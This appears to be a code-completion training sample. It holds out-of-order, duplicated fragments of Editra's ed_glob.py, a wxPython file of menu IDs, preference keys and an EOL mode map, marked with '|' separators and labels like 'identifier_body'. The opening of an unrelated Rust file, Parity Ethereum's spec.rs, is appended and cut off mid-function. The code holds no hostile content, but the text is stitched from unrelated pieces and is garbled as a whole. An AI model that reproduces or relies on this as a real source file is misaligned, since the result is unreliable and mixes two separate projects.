ID_EOL_MAC = wx.NewId()
ID_EOL_UNIX = wx.NewId()
ID_EOL_WIN = wx.NewId()
ID_USE_SOFTTABS = wx.NewId()
ID_WORD_WRAP = wx.NewId()
ID_INDENT = wx.ID_INDENT
ID_UNINDENT = wx.ID_UNINDENT
ID_TO_UPPER = wx.NewId()
ID_TO_LOWER = wx.NewId()
ID_WS_FORMAT = wx.NewId()
ID_SPACE_TO_TAB = wx.NewId()
ID_TAB_TO_SPACE = wx.NewId()
ID_TRIM_WS = wx.NewId()
ID_TOGGLECOMMENT = wx.NewId()
# Settings Menu IDs
ID_AUTOCOMP = wx.NewId()
ID_AUTOINDENT = wx.NewId()
ID_SYNTAX = wx.NewId()
ID_SYN_ON = wx.NewId()
ID_SYN_OFF = wx.NewId()
ID_FOLDING = wx.NewId()
ID_BRACKETHL = wx.NewId()
ID_LEXER = wx.NewId()
ID_LEXER_CUSTOM = wx.NewId()
# Tool Menu IDs
ID_COMMAND = wx.NewId()
ID_PLUGMGR = wx.NewId()
ID_STYLE_EDIT = wx.ID_EDIT
ID_MACRO_START = wx.NewId()
ID_MACRO_STOP = wx.NewId()
ID_MACRO_PLAY = wx.NewId()
ID_GENERATOR = wx.NewId()
ID_HTML_GEN = wx.NewId()
ID_TEX_GEN = wx.NewId()
ID_RTF_GEN = wx.NewId()
ID_RUN_LAUNCH = wx.NewId()
ID_LAUNCH_LAST = wx.NewId()
# Help Menu IDs
ID_ABOUT = wx.ID_ABOUT
ID_HOMEPAGE = wx.ID_HOME
ID_DOCUMENTATION = wx.NewId()
ID_TRANSLATE = wx.NewId()
ID_CONTACT = wx.NewId()
ID_BUG_TRACKER = wx.NewId()
# Misc IDs
ID_ADD = wx.ID_ADD
ID_ADVANCED = wx.NewId()
ID_APP_SPLASH = wx.NewId()
ID_BACKWARD = wx.ID_BACKWARD
ID_BIN_FILE = ID_COMMAND
ID_CDROM = wx.NewId()
ID_COMMAND_LINE_OPEN = wx.NewId()
ID_COMPUTER = wx.NewId()
ID_COPY_PATH = wx.NewId()
ID_COPY_FILE = wx.NewId()
ID_DELETE = wx.NewId()
ID_DELETE_ALL = wx.NewId()
ID_DOCPROP = wx.NewId()
ID_DOWN = wx.ID_DOWN
ID_DOWNLOAD_DLG = wx.NewId()
ID_FILE = wx.ID_FILE
ID_FIND_RESULTS = wx.NewId()
ID_FLOPPY = wx.NewId()
ID_FOLDER = wx.NewId()
ID_FORWARD = wx.ID_FORWARD
ID_HARDDISK = wx.NewId()
ID_KEY_PROFILES = wx.NewId()
ID_LOGGER = wx.NewId()
ID_BOOKMARK_MGR = wx.NewId()
ID_MOVE_TAB = wx.NewId()
ID_PACKAGE = wx.NewId()
ID_PYSHELL = wx.NewId()
ID_REFRESH = wx.ID_REFRESH
ID_REMOVE = wx.ID_REMOVE
ID_REPORTER = wx.NewId()
ID_STOP = wx.ID_STOP
ID_THEME = wx.NewId()
ID_USB = wx.NewId()
ID_UP = wx.ID_UP
ID_VI_MODE = wx.NewId()
ID_VI_NORMAL_DEFAULT = wx.NewId()
ID_WEB = wx.NewId()
ID_READONLY = wx.NewId()
ID_NEW_FOLDER = wx.NewId()
# Code Elements (ids for art provider)
ID_CLASS_TYPE = wx.NewId()
ID_FUNCT_TYPE = wx.NewId()
ID_ELEM_TYPE = wx.NewId()
ID_VARIABLE_TYPE = wx.NewId()
ID_ATTR_TYPE = wx.NewId()
ID_PROPERTY_TYPE = wx.NewId()
ID_METHOD_TYPE = wx.NewId()
# Statusbar IDs
SB_INFO = 0
SB_BUFF = 1
SB_LEXER = 2
SB_ENCODING = 3
SB_EOL = 4
SB_ROWCOL = 5
# Print Mode Identifiers
PRINT_BLACK_WHITE = 0
PRINT_COLOR_WHITE = 1
PRINT_COLOR_DEF = 2
PRINT_INVERT = 3
PRINT_NORMAL = 4
#---- Objects ----#
# Dictionary to map object ids to Profile keys
ID_2_PROF = {
ID_PREF_AALIAS : 'AALIASING',
ID_TRANSPARENCY : 'ALPHA',
ID_PREF_UNINDENT : 'BSUNINDENT',
ID_APP_SPLASH : 'APPSPLASH',
ID_PREF_AUTOBKUP : 'AUTOBACKUP',
ID_AUTOCOMP : 'AUTO_COMP',
ID_PREF_AUTOCOMPEX : 'AUTO_COMP_EX',
ID_AUTOINDENT : 'AUTO_INDENT',
ID_PREF_AUTO_RELOAD : 'AUTO_RELOAD',
ID_PREF_AUTOTRIM : 'AUTO_TRIM_WS',
ID_BRACKETHL : 'BRACKETHL',
ID_PREF_CHKMOD : 'CHECKMOD',
ID_PREF_CHKUPDATE : 'CHECKUPDATE',
ID_FOLDING : 'CODE_FOLD',
ID_PREF_DLEXER : 'DEFAULT_LEX',
ID_PERSPECTIVES : 'DEFAULT_VIEW',
ID_PREF_EDGE : 'EDGE',
ID_PREF_ENCODING : 'ENCODING',
ID_EOL_MODE : 'EOL_MODE',
ID_PREF_FHIST : 'FHIST_LVL',
ID_INDENT_GUIDES : 'GUIDES',
ID_HLCARET_LINE : 'HLCARETLINE',
ID_PREF_ICON : 'ICONS',
ID_PREF_ICONSZ : 'ICON_SZ',
ID_PREF_INDENTW : 'INDENTWIDTH',
ID_KEY_PROFILES : 'KEY_PROFILE',
ID_PREF_LANG : 'LANG',
ID_PREF_MODE : 'MODE',
ID_NEW_WINDOW : 'OPEN_NW',
ID_PRINT_MODE : 'PRINT_MODE',
ID_REPORTER : 'REPORTER',
ID_PREF_SPOS : 'SAVE_POS',
ID_SESSION : 'SAVE_SESSION',
ID_PREF_WPOS : 'SET_WPOS',
ID_PREF_WSIZE : 'SET_WSIZE',
ID_SHOW_EDGE : 'SHOW_EDGE',
ID_SHOW_EOL : 'SHOW_EOL',
ID_SHOW_LN : 'SHOW_LN',
ID_SHOW_WS : 'SHOW_WS',
ID_SHOW_SB : 'STATBAR',
ID_SYNTAX : 'SYNTAX',
ID_PREF_SYNTHEME : 'SYNTHEME',
ID_PREF_TABICON : 'TABICONS',
ID_PREF_TABW : 'TABWIDTH',
ID_VIEW_TOOL : 'TOOLBAR',
ID_PREF_TABS : 'USETABS',
ID_PREF_VIRT_SPACE : 'VIEWVERTSPACE',
ID_PREF_CARET_WIDTH : 'CARETWIDTH',
ID_VI_MODE : 'VI_EMU',
ID_VI_NORMAL_DEFAULT : 'VI_NORMAL_DEFAULT',
ID_PREF_WARN_EOL : 'WARN_EOL',
ID_WORD_WRAP : 'WRAP',
}
EOL_MODE_CR = 0
EOL_MODE_LF = 1
EOL_MODE_CRLF = 2
def EOLModeMap():
|
# Default Plugins
DEFAULT_PLUGINS = ("generator.Html", "generator.LaTeX", "generator.Rtf",
"iface.Shelf", "ed_theme.TangoTheme", "ed_log.EdLogViewer",
"ed_search.EdFindResults", "ed_bookmark.EdBookmarks")
| """Get the eol mode map"""
# Maintenance Note: ints must be kept in sync with EDSTC_EOL_* in edstc
return { EOL_MODE_CR : _("Old Machintosh (\\r)"),
EOL_MODE_LF : _("Unix (\\n)"),
EOL_MODE_CRLF : _("Windows (\\r\\n)")} | identifier_body |
ed_glob.py | ###############################################################################
# Name: ed_glob.py #
# Purpose: Global IDs/objects used throughout Editra #
# Author: Cody Precord <cprecord@editra.org> #
# Copyright: (c) 2007 Cody Precord <staff@editra.org> #
# License: wxWindows License #
###############################################################################
"""
This file contains variables that are or may be used in multiple files and
libraries within the project. Its purpose is to create a globally accessible
access point for all common variables in the project.
"""
__author__ = "Cody Precord <cprecord@editra.org>"
__svnid__ = "$Id: ed_glob.py 70747 2012-02-29 01:33:35Z CJP $"
__revision__ = "$Revision: 70747 $"
__all__ = [ 'CONFIG', 'SB_INFO', 'VERSION', 'PROG_NAME', 'ID_NEW', 'ID_OPEN',
'ID_CLOSE', 'ID_CLOSEALL', 'ID_SAVE', 'ID_SAVEAS', 'ID_SAVEALL',
'ID_SAVE_PROFILE', 'ID_LOAD_PROFILE', 'ID_PRINT', 'ID_PRINT_PRE',
'ID_PRINT_SU', 'ID_EXIT', 'ID_UNDO', 'ID_REDO', 'ID_CUT',
'ID_COPY', 'ID_PASTE', 'ID_SELECTALL', 'ID_ADD_BM',
'ID_DEL_ALL_BM', 'ID_LINE_AFTER', 'ID_LINE_BEFORE', 'ID_CUT_LINE',
'ID_COPY_LINE', 'ID_JOIN_LINES', 'ID_TRANSPOSE', 'ID_DELETE_LINE',
'ID_LINE_MOVE_UP', 'ID_LINE_MOVE_DOWN',
'ID_QUICK_FIND', 'ID_PREF', 'ID_ZOOM_OUT',
'HOME_PAGE', 'CONTACT_MAIL', 'ID_ZOOM_IN', 'ID_ZOOM_NORMAL',
'ID_SHOW_EDGE', 'ID_SHOW_EOL', 'ID_SHOW_LN', 'ID_SHOW_WS',
'ID_PERSPECTIVES', 'ID_INDENT_GUIDES', 'ID_VIEW_TOOL',
'ID_GOTO_LINE', 'ID_NEXT_MARK', 'ID_PRE_MARK', 'ID_FONT',
'ID_EOL_MAC', 'ID_EOL_UNIX', 'ID_EOL_WIN', 'ID_WORD_WRAP',
'ID_INDENT', 'ID_UNINDENT', 'ID_TO_UPPER', 'ID_TO_LOWER',
'ID_SPACE_TO_TAB', 'ID_TAB_TO_SPACE', 'ID_TRIM_WS',
'ID_TOGGLECOMMENT', 'ID_AUTOCOMP', 'ID_AUTOINDENT', 'ID_SYNTAX',
'ID_FOLDING', 'ID_BRACKETHL', 'ID_LEXER',
'ID_PLUGMGR', 'ID_STYLE_EDIT', 'ID_MACRO_START', 'ID_MACRO_STOP',
'ID_MACRO_PLAY', 'ID_ABOUT', 'ID_HOMEPAGE', 'ID_CONTACT',
'ID_BUG_TRACKER', 'ID_DOCUMENTATION', 'ID_COMMAND',
'ID_USE_SOFTTABS', 'ID_DUP_LINE', 'ID_TRANSLATE',
'I18N_PAGE', 'ID_GOTO_MBRACE', 'ID_HLCARET_LINE', 'ID_SHOW_SB',
'ID_REVERT_FILE', 'ID_RELOAD_ENC', 'ID_DOCPROP', 'ID_PASTE_AFTER',
'ID_COLUMN_MODE', 'ID_PANELIST', 'ID_MAXIMIZE_EDITOR',
'ID_NEW_WINDOW', 'ID_TOGGLE_FOLD', 'ID_TOGGLE_ALL_FOLDS',
'ID_SAVE_SESSION', 'ID_LOAD_SESSION', 'ID_NEXT_POS', 'ID_PRE_POS',
'ID_CYCLE_CLIPBOARD', 'ID_LEXER_CUSTOM', 'ID_SHOW_AUTOCOMP',
'ID_SHOW_CALLTIP', 'ID_SESSION_BAR', 'ID_PREF_CARET_WIDTH' ]
#---- Project Info ----#
# The project info was moved to another module so it could be accessed
# externally without needing to import anything else. It's imported
# here with a * until there isn't anyplace left that expects to find
# these values in this module.
from info import *
#---- End Project Info ----#
#---- Imported Libs/Objects ----#
import wx
_ = wx.GetTranslation
#---- WX Compatibility Hacks ----#
import wxcompat
#---- Configuration Locations ----#
# Values set when main loads
CONFIG = {
'ISLOCAL' : False, # Using local config (no abs path)
'CONFIG_BASE' : None, # Set if config base is in nonstandard location
'INSTALL_DIR' : "", # Instal directory
'CONFIG_DIR' : "", # Root configration directory
'CACHE_DIR' : "", # Holds temp data about documents
'KEYPROF_DIR' : "", # System Keybinding
'PROFILE_DIR' : "", # User Profile Directory
'PLUGIN_DIR' : "", # User Plugin Dir
'SYSPIX_DIR' : "", # Editras non user graphics
'THEME_DIR' : "", # Theme Directory
'LANG_DIR' : "", # Locale Data Directory
'SYS_PLUGIN_DIR' : "", # Editra base plugin dir
'SYS_STYLES_DIR' : "", # Editra base style sheets
'TEST_DIR' : "", # Test data files dir
}
# Global logging/application variables
DEBUG = False
VDEBUG = False
SINGLE = True
#---- Object ID's ----#
# File Menu IDs
ID_NEW = wx.ID_NEW
ID_NEW_WINDOW = wx.NewId()
ID_OPEN = wx.ID_OPEN
ID_FHIST = wx.NewId()
ID_CLOSE = wx.ID_CLOSE
ID_CLOSEALL = wx.ID_CLOSE_ALL
ID_CLOSE_OTHERS = wx.NewId()
ID_CLOSE_WINDOW = wx.NewId()
ID_SAVE = wx.ID_SAVE
ID_SAVEAS = wx.ID_SAVEAS
ID_SAVEALL = wx.NewId()
ID_REVERT_FILE = wx.ID_REVERT_TO_SAVED
ID_RELOAD_ENC = wx.NewId()
ID_SAVE_PROFILE = wx.NewId()
ID_LOAD_PROFILE = wx.NewId()
ID_SAVE_SESSION = wx.NewId()
ID_LOAD_SESSION = wx.NewId()
ID_SESSION_BAR = wx.NewId()
ID_PRINT = wx.ID_PRINT
ID_PRINT_PRE = wx.ID_PREVIEW
ID_PRINT_SU = wx.NewId()
ID_EXIT = wx.ID_EXIT
# Edit Menu IDs
ID_UNDO = wx.ID_UNDO
ID_REDO = wx.ID_REDO
ID_CUT = wx.ID_CUT
ID_COPY = wx.ID_COPY
ID_PASTE = wx.ID_PASTE
ID_CYCLE_CLIPBOARD = wx.NewId()
ID_PASTE_AFTER = wx.NewId()
ID_SELECTALL = wx.ID_SELECTALL
ID_COLUMN_MODE = wx.NewId()
ID_LINE_EDIT = wx.NewId()
ID_BOOKMARK = wx.NewId()
ID_ADD_BM = wx.NewId()
ID_DEL_BM = wx.NewId() # Not used in menu anymore
ID_DEL_ALL_BM = wx.NewId()
ID_LINE_AFTER = wx.NewId()
ID_LINE_BEFORE = wx.NewId()
ID_CUT_LINE = wx.NewId()
ID_DELETE_LINE = wx.NewId()
ID_COPY_LINE = wx.NewId()
ID_DUP_LINE = wx.NewId()
ID_JOIN_LINES = wx.NewId()
ID_TRANSPOSE = wx.NewId()
ID_LINE_MOVE_UP = wx.NewId()
ID_LINE_MOVE_DOWN= wx.NewId()
ID_SHOW_AUTOCOMP = wx.NewId()
ID_SHOW_CALLTIP = wx.NewId()
ID_FIND = wx.ID_FIND
ID_FIND_PREVIOUS = wx.NewId()
ID_FIND_NEXT = wx.NewId()
ID_FIND_REPLACE = wx.ID_REPLACE
ID_FIND_SELECTED = wx.NewId()
# Using the system ids automatically disables the menus items
# when the dialog is open which is not wanted
if wx.Platform == '__WXMAC__':
|
ID_QUICK_FIND = wx.NewId()
ID_PREF = wx.ID_PREFERENCES
# Preference Dlg Ids
ID_PREF_LANG = wx.NewId()
ID_PREF_AALIAS = wx.NewId()
ID_PREF_AUTOBKUP = wx.NewId()
ID_PREF_AUTO_RELOAD = wx.NewId()
ID_PREF_AUTOCOMPEX = wx.NewId()
ID_PREF_AUTOTRIM = wx.NewId()
ID_PREF_CHKMOD = wx.NewId()
ID_PREF_CHKUPDATE = wx.NewId()
ID_PREF_DLEXER = wx.NewId()
ID_PREF_EDGE = wx.NewId()
ID_PREF_ENCODING = wx.NewId()
ID_PREF_SYNTHEME = wx.NewId()
ID_PREF_TABS = wx.NewId()
ID_PREF_UNINDENT = wx.NewId()
ID_PREF_TABW = wx.NewId()
ID_PREF_INDENTW = wx.NewId()
ID_PREF_FHIST = wx.NewId()
ID_PREF_WSIZE = wx.NewId()
ID_PREF_WPOS = wx.NewId()
ID_PREF_ICON = wx.NewId()
ID_PREF_ICONSZ = wx.NewId()
ID_PREF_MODE = wx.NewId()
ID_PREF_TABICON = wx.NewId()
ID_PRINT_MODE = wx.NewId()
ID_TRANSPARENCY = wx.NewId()
ID_PREF_SPOS = wx.NewId()
ID_PREF_UPDATE_BAR = wx.NewId()
ID_PREF_VIRT_SPACE = wx.NewId()
ID_PREF_CARET_WIDTH = wx.NewId()
ID_PREF_WARN_EOL = wx.NewId()
ID_SESSION = wx.NewId()
# View Menu IDs
ID_ZOOM_OUT = wx.ID_ZOOM_OUT
ID_ZOOM_IN = wx.ID_ZOOM_IN
ID_ZOOM_NORMAL = wx.ID_ZOOM_100
ID_HLCARET_LINE = wx.NewId()
ID_SHOW_EDGE = wx.NewId()
ID_SHOW_EOL = wx.NewId()
ID_SHOW_LN = wx.NewId()
ID_SHOW_WS = wx.NewId()
ID_SHOW_SHELF = wx.NewId()
ID_PERSPECTIVES = wx.NewId()
ID_INDENT_GUIDES = wx.NewId()
ID_SHOW_SB = wx.NewId()
ID_VIEW_TOOL = wx.NewId()
ID_SHELF = wx.NewId()
ID_PANELIST = wx.NewId()
ID_GOTO_LINE = wx.NewId()
ID_GOTO_MBRACE = wx.NewId()
ID_TOGGLE_FOLD = wx.NewId()
ID_TOGGLE_ALL_FOLDS = wx.NewId()
ID_NEXT_POS = wx.NewId()
ID_PRE_POS = wx.NewId()
ID_NEXT_MARK = wx.ID_FORWARD
ID_PRE_MARK = wx.ID_BACKWARD
ID_MAXIMIZE_EDITOR = wx.NewId()
# Format Menu IDs
ID_FONT = wx.NewId()
ID_EOL_MODE = wx.NewId()
ID_EOL_MAC = wx.NewId()
ID_EOL_UNIX = wx.NewId()
ID_EOL_WIN = wx.NewId()
ID_USE_SOFTTABS = wx.NewId()
ID_WORD_WRAP = wx.NewId()
ID_INDENT = wx.ID_INDENT
ID_UNINDENT = wx.ID_UNINDENT
ID_TO_UPPER = wx.NewId()
ID_TO_LOWER = wx.NewId()
ID_WS_FORMAT = wx.NewId()
ID_SPACE_TO_TAB = wx.NewId()
ID_TAB_TO_SPACE = wx.NewId()
ID_TRIM_WS = wx.NewId()
ID_TOGGLECOMMENT = wx.NewId()
# Settings Menu IDs
ID_AUTOCOMP = wx.NewId()
ID_AUTOINDENT = wx.NewId()
ID_SYNTAX = wx.NewId()
ID_SYN_ON = wx.NewId()
ID_SYN_OFF = wx.NewId()
ID_FOLDING = wx.NewId()
ID_BRACKETHL = wx.NewId()
ID_LEXER = wx.NewId()
ID_LEXER_CUSTOM = wx.NewId()
# Tool Menu IDs
ID_COMMAND = wx.NewId()
ID_PLUGMGR = wx.NewId()
ID_STYLE_EDIT = wx.ID_EDIT
ID_MACRO_START = wx.NewId()
ID_MACRO_STOP = wx.NewId()
ID_MACRO_PLAY = wx.NewId()
ID_GENERATOR = wx.NewId()
ID_HTML_GEN = wx.NewId()
ID_TEX_GEN = wx.NewId()
ID_RTF_GEN = wx.NewId()
ID_RUN_LAUNCH = wx.NewId()
ID_LAUNCH_LAST = wx.NewId()
# Help Menu IDs
ID_ABOUT = wx.ID_ABOUT
ID_HOMEPAGE = wx.ID_HOME
ID_DOCUMENTATION = wx.NewId()
ID_TRANSLATE = wx.NewId()
ID_CONTACT = wx.NewId()
ID_BUG_TRACKER = wx.NewId()
# Misc IDs
ID_ADD = wx.ID_ADD
ID_ADVANCED = wx.NewId()
ID_APP_SPLASH = wx.NewId()
ID_BACKWARD = wx.ID_BACKWARD
ID_BIN_FILE = ID_COMMAND
ID_CDROM = wx.NewId()
ID_COMMAND_LINE_OPEN = wx.NewId()
ID_COMPUTER = wx.NewId()
ID_COPY_PATH = wx.NewId()
ID_COPY_FILE = wx.NewId()
ID_DELETE = wx.NewId()
ID_DELETE_ALL = wx.NewId()
ID_DOCPROP = wx.NewId()
ID_DOWN = wx.ID_DOWN
ID_DOWNLOAD_DLG = wx.NewId()
ID_FILE = wx.ID_FILE
ID_FIND_RESULTS = wx.NewId()
ID_FLOPPY = wx.NewId()
ID_FOLDER = wx.NewId()
ID_FORWARD = wx.ID_FORWARD
ID_HARDDISK = wx.NewId()
ID_KEY_PROFILES = wx.NewId()
ID_LOGGER = wx.NewId()
ID_BOOKMARK_MGR = wx.NewId()
ID_MOVE_TAB = wx.NewId()
ID_PACKAGE = wx.NewId()
ID_PYSHELL = wx.NewId()
ID_REFRESH = wx.ID_REFRESH
ID_REMOVE = wx.ID_REMOVE
ID_REPORTER = wx.NewId()
ID_STOP = wx.ID_STOP
ID_THEME = wx.NewId()
ID_USB = wx.NewId()
ID_UP = wx.ID_UP
ID_VI_MODE = wx.NewId()
ID_VI_NORMAL_DEFAULT = wx.NewId()
ID_WEB = wx.NewId()
ID_READONLY = wx.NewId()
ID_NEW_FOLDER = wx.NewId()
# Code Elements (ids for art provider)
ID_CLASS_TYPE = wx.NewId()
ID_FUNCT_TYPE = wx.NewId()
ID_ELEM_TYPE = wx.NewId()
ID_VARIABLE_TYPE = wx.NewId()
ID_ATTR_TYPE = wx.NewId()
ID_PROPERTY_TYPE = wx.NewId()
ID_METHOD_TYPE = wx.NewId()
# Statusbar IDs
SB_INFO = 0
SB_BUFF = 1
SB_LEXER = 2
SB_ENCODING = 3
SB_EOL = 4
SB_ROWCOL = 5
# Print Mode Identifiers
PRINT_BLACK_WHITE = 0
PRINT_COLOR_WHITE = 1
PRINT_COLOR_DEF = 2
PRINT_INVERT = 3
PRINT_NORMAL = 4
#---- Objects ----#
# Dictionary to map object ids to Profile keys
ID_2_PROF = {
ID_PREF_AALIAS : 'AALIASING',
ID_TRANSPARENCY : 'ALPHA',
ID_PREF_UNINDENT : 'BSUNINDENT',
ID_APP_SPLASH : 'APPSPLASH',
ID_PREF_AUTOBKUP : 'AUTOBACKUP',
ID_AUTOCOMP : 'AUTO_COMP',
ID_PREF_AUTOCOMPEX : 'AUTO_COMP_EX',
ID_AUTOINDENT : 'AUTO_INDENT',
ID_PREF_AUTO_RELOAD : 'AUTO_RELOAD',
ID_PREF_AUTOTRIM : 'AUTO_TRIM_WS',
ID_BRACKETHL : 'BRACKETHL',
ID_PREF_CHKMOD : 'CHECKMOD',
ID_PREF_CHKUPDATE : 'CHECKUPDATE',
ID_FOLDING : 'CODE_FOLD',
ID_PREF_DLEXER : 'DEFAULT_LEX',
ID_PERSPECTIVES : 'DEFAULT_VIEW',
ID_PREF_EDGE : 'EDGE',
ID_PREF_ENCODING : 'ENCODING',
ID_EOL_MODE : 'EOL_MODE',
ID_PREF_FHIST : 'FHIST_LVL',
ID_INDENT_GUIDES : 'GUIDES',
ID_HLCARET_LINE : 'HLCARETLINE',
ID_PREF_ICON : 'ICONS',
ID_PREF_ICONSZ : 'ICON_SZ',
ID_PREF_INDENTW : 'INDENTWIDTH',
ID_KEY_PROFILES : 'KEY_PROFILE',
ID_PREF_LANG : 'LANG',
ID_PREF_MODE : 'MODE',
ID_NEW_WINDOW : 'OPEN_NW',
ID_PRINT_MODE : 'PRINT_MODE',
ID_REPORTER : 'REPORTER',
ID_PREF_SPOS : 'SAVE_POS',
ID_SESSION : 'SAVE_SESSION',
ID_PREF_WPOS : 'SET_WPOS',
ID_PREF_WSIZE : 'SET_WSIZE',
ID_SHOW_EDGE : 'SHOW_EDGE',
ID_SHOW_EOL : 'SHOW_EOL',
ID_SHOW_LN : 'SHOW_LN',
ID_SHOW_WS : 'SHOW_WS',
ID_SHOW_SB : 'STATBAR',
ID_SYNTAX : 'SYNTAX',
ID_PREF_SYNTHEME : 'SYNTHEME',
ID_PREF_TABICON : 'TABICONS',
ID_PREF_TABW : 'TABWIDTH',
ID_VIEW_TOOL : 'TOOLBAR',
ID_PREF_TABS : 'USETABS',
ID_PREF_VIRT_SPACE : 'VIEWVERTSPACE',
ID_PREF_CARET_WIDTH : 'CARETWIDTH',
ID_VI_MODE : 'VI_EMU',
ID_VI_NORMAL_DEFAULT : 'VI_NORMAL_DEFAULT',
ID_PREF_WARN_EOL : 'WARN_EOL',
ID_WORD_WRAP : 'WRAP',
}
EOL_MODE_CR = 0
EOL_MODE_LF = 1
EOL_MODE_CRLF = 2
def EOLModeMap():
"""Get the eol mode map"""
# Maintenance Note: ints must be kept in sync with EDSTC_EOL_* in edstc
return { EOL_MODE_CR : _("Old Machintosh (\\r)"),
EOL_MODE_LF : _("Unix (\\n)"),
EOL_MODE_CRLF : _("Windows (\\r\\n)")}
# Default Plugins
DEFAULT_PLUGINS = ("generator.Html", "generator.LaTeX", "generator.Rtf",
"iface.Shelf", "ed_theme.TangoTheme", "ed_log.EdLogViewer",
"ed_search.EdFindResults", "ed_bookmark.EdBookmarks")
| ID_FIND = wx.NewId()
ID_FIND_REPLACE = wx.NewId() | conditional_block |
spec.rs | // Copyright 2015-2019 Parity Technologies (UK) Ltd.
// This file is part of Parity Ethereum.
// Parity Ethereum is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// Parity Ethereum is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Parity Ethereum. If not, see <http://www.gnu.org/licenses/>.
//! Parameters for a block chain.
use std::{
collections::BTreeMap,
fmt,
io::Read,
path::Path,
sync::Arc,
};
use common_types::{
BlockNumber,
header::Header,
encoded,
engines::{OptimizeFor, params::CommonParams},
errors::EthcoreError as Error,
transaction::{Action, Transaction},
};
use account_state::{Backend, State, backend::Basic as BasicBackend};
use authority_round::AuthorityRound;
use basic_authority::BasicAuthority;
use bytes::Bytes;
use builtin::Builtin;
use clique::Clique;
use engine::Engine;
use ethash_engine::Ethash;
use ethereum_types::{H256, Bloom, U256, Address};
use ethjson;
use instant_seal::{InstantSeal, InstantSealParams};
use keccak_hash::{KECCAK_NULL_RLP, keccak};
use log::{trace, warn};
use machine::{executive::Executive, Machine, substate::Substate};
use null_engine::NullEngine;
use pod::PodState;
use rlp::{Rlp, RlpStream};
use trace::{NoopTracer, NoopVMTracer};
use trie_vm_factories::Factories;
use vm::{EnvInfo, CallType, ActionValue, ActionParams, ParamsType};
use crate::{
Genesis,
seal::Generic as GenericSeal,
};
/// Runtime parameters for the spec that are related to how the software should run the chain,
/// rather than integral properties of the chain itself.
pub struct SpecParams<'a> {
/// The path to the folder used to cache nodes. This is typically /tmp/ on Unix-like systems
pub cache_dir: &'a Path,
/// Whether to run slower at the expense of better memory usage, or run faster while using
/// more
/// memory. This may get more fine-grained in the future but for now is simply a binary
/// option.
pub optimization_setting: Option<OptimizeFor>,
}
impl<'a> SpecParams<'a> {
/// Create from a cache path, with null values for the other fields
pub fn from_path(path: &'a Path) -> Self {
SpecParams {
cache_dir: path,
optimization_setting: None,
}
}
/// Create from a cache path and an optimization setting
pub fn new(path: &'a Path, optimization: OptimizeFor) -> Self {
SpecParams {
cache_dir: path,
optimization_setting: Some(optimization),
}
}
}
impl<'a, T: AsRef<Path>> From<&'a T> for SpecParams<'a> {
fn from(path: &'a T) -> Self {
Self::from_path(path.as_ref())
}
}
/// given a pre-constructor state, run all the given constructors and produce a new state and
/// state root.
fn run_constructors<T: Backend>(
genesis_state: &PodState,
constructors: &[(Address, Bytes)],
engine: &dyn Engine,
author: Address,
timestamp: u64,
difficulty: U256,
factories: &Factories,
mut db: T
) -> Result<(H256, T), Error> {
let mut root = KECCAK_NULL_RLP;
// basic accounts in spec.
{
let mut t = factories.trie.create(db.as_hash_db_mut(), &mut root);
for (address, account) in genesis_state.get().iter() {
t.insert(address.as_bytes(), &account.rlp())?;
}
}
for (address, account) in genesis_state.get().iter() {
db.note_non_null_account(address);
account.insert_additional(
&mut *factories.accountdb.create(
db.as_hash_db_mut(),
keccak(address),
),
&factories.trie,
);
}
let start_nonce = engine.account_start_nonce(0);
let mut state = State::from_existing(db, root, start_nonce, factories.clone())?;
// Execute contract constructors.
let env_info = EnvInfo {
number: 0,
author,
timestamp,
difficulty,
last_hashes: Default::default(),
gas_used: U256::zero(),
gas_limit: U256::max_value(),
};
let from = Address::zero();
for &(ref address, ref constructor) in constructors.iter() {
trace!(target: "spec", "run_constructors: Creating a contract at {}.", address);
trace!(target: "spec", " .. root before = {}", state.root());
let params = ActionParams {
code_address: address.clone(),
code_hash: Some(keccak(constructor)),
code_version: U256::zero(),
address: address.clone(),
sender: from.clone(),
origin: from.clone(),
gas: U256::max_value(),
gas_price: Default::default(),
value: ActionValue::Transfer(Default::default()),
code: Some(Arc::new(constructor.clone())),
data: None,
call_type: CallType::None,
params_type: ParamsType::Embedded,
};
let mut substate = Substate::new();
{
let machine = engine.machine();
let schedule = machine.schedule(env_info.number);
let mut exec = Executive::new(&mut state, &env_info, &machine, &schedule);
// failing create is not a bug
if let Err(e) = exec.create(params, &mut substate, &mut NoopTracer, &mut NoopVMTracer) {
warn!(target: "spec", "Genesis constructor execution at {} failed: {}.", address, e);
}
}
let _ = state.commit()?;
}
Ok(state.drop())
}
/// Parameters for a block chain; includes both those intrinsic to the design of the
/// chain and those to be interpreted by the active chain engine.
pub struct Spec {
/// User friendly spec name.
pub name: String,
/// Engine specified by json file.
pub engine: Arc<dyn Engine>,
/// Name of the subdir inside the main data dir to use for chain data and settings.
pub data_dir: String,
/// Known nodes on the network in enode format.
pub nodes: Vec<String>,
/// The genesis block's parent hash field.
pub parent_hash: H256,
/// The genesis block's author field.
pub author: Address,
/// The genesis block's difficulty field.
pub difficulty: U256,
/// The genesis block's gas limit field.
pub gas_limit: U256,
/// The genesis block's gas used field.
pub gas_used: U256,
/// The genesis block's timestamp field.
pub timestamp: u64,
/// Transactions root of the genesis block. Should be KECCAK_NULL_RLP.
pub transactions_root: H256,
/// Receipts root of the genesis block. Should be KECCAK_NULL_RLP.
pub receipts_root: H256,
/// The genesis block's extra data field.
pub extra_data: Bytes,
/// Each seal field, expressed as RLP, concatenated.
pub seal_rlp: Bytes,
/// Hardcoded synchronization. Allows the light client to immediately jump to a specific block.
pub hardcoded_sync: Option<SpecHardcodedSync>,
/// Contract constructors to be executed on genesis.
pub constructors: Vec<(Address, Bytes)>,
/// May be prepopulated if we know this in advance.
pub state_root: H256,
/// Genesis state as plain old data.
pub genesis_state: PodState,
}
/// Part of `Spec`. Describes the hardcoded synchronization parameters.
pub struct SpecHardcodedSync {
/// Header of the block to jump to for hardcoded sync, and total difficulty.
pub header: encoded::Header,
/// Total difficulty of the block to jump to.
pub total_difficulty: U256,
/// List of hardcoded CHTs, in order. If `hardcoded_sync` is set, the CHTs should include the
/// header of `hardcoded_sync`.
pub chts: Vec<H256>,
}
impl From<ethjson::spec::HardcodedSync> for SpecHardcodedSync {
fn from(sync: ethjson::spec::HardcodedSync) -> Self {
SpecHardcodedSync {
